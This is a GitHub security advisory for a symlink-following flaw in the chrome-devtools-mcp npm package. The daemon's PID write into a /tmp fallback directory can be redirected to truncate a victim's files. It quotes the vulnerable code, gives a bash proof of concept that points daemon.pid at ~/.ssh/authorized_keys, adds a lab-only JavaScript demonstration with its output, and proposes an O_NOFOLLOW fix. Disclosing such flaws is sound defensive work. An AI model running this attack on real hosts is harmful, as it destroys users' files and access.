GitHub Advisoryadvisory · npm
GHSA-3pvj-jv98-qhjq Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory
MEDIUM
Official page ↗
- Aliases
- CVE-2026-53765
- Ecosystem
- npm
- Packages
- chrome-devtools-mcp
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Weaknesses
- CWE-59
- Reviewed
- 2026-06-17
Affected packages
• npm chrome-devtools-mcp: >= 0.20.0, < 1.1.0 → fixed in 1.1.0
Description
Summary
The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-/daemon.pid`.
Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.
This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.
Details
Affected code:
`src/daemon/daemon.ts:38-42`
```ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());
```
`src/daemon/utils.ts:49-68`
```ts
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? `-${sessionId}` : '';
const appName = APP_NAME + suffix;
if (process.env.XDG_RUNTIME_DIR) {
return path.join(process.env.XDG_RUNTIME_DIR, appName);
}
if (platform === 'darwin' || platform === 'linux') {
return path.join('/tmp', `${appName}-${uid}`);
}
return path.join(os.tmpdir(), appName);
}
```
The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.
Preconditions:
• The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset.
• The attacker has any local user account on the same host.
• The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.
PoC
Realistic POSIX scenario:
```bash
Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
Victim later starts daemon mode.
chrome-devtools start
Result:
fs.writeFileSync follows the symlink, so authorized_keys is truncated to
the daemon PID string.
```
Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:
```js
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}
```
Observed output from the lab PoC:
```text
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: /daemon.pid ->
[victim ran daemon] victim secret AFTER:
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.
```
I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.
Impact
Who can exploit:
Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.
Security impact:
• Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
• Availability: critical user configuration files can be corrupted until restored from backup.
• Confidentiality: none directly; the written content is only the PID string.
Example targets affected by truncation:
• `~/.ssh/authorized_keys`, causing the victim to lose SSH access.
• `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup.
• Project `.env`, `secrets.json`, license files, or line-oriented config files.
• Logs or local audit files writable by the victim.
Suggested fix:
Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:
```ts
import {constants, openSync, writeSync, closeSync} from 'node:fs';
const fd = openSync(
pidFilePath,
constants.O_WRONLY |
constants.O_CREAT |
constants.O_TRUNC |
constants.O_NOFOLLOW,
0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);
```
Related
Alias · CVE (1)
- CVE-2026-53765 Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. vulnerability
Weakness · CWE (1)
- CWE-59 Improper Link Resolution Before File Access weakness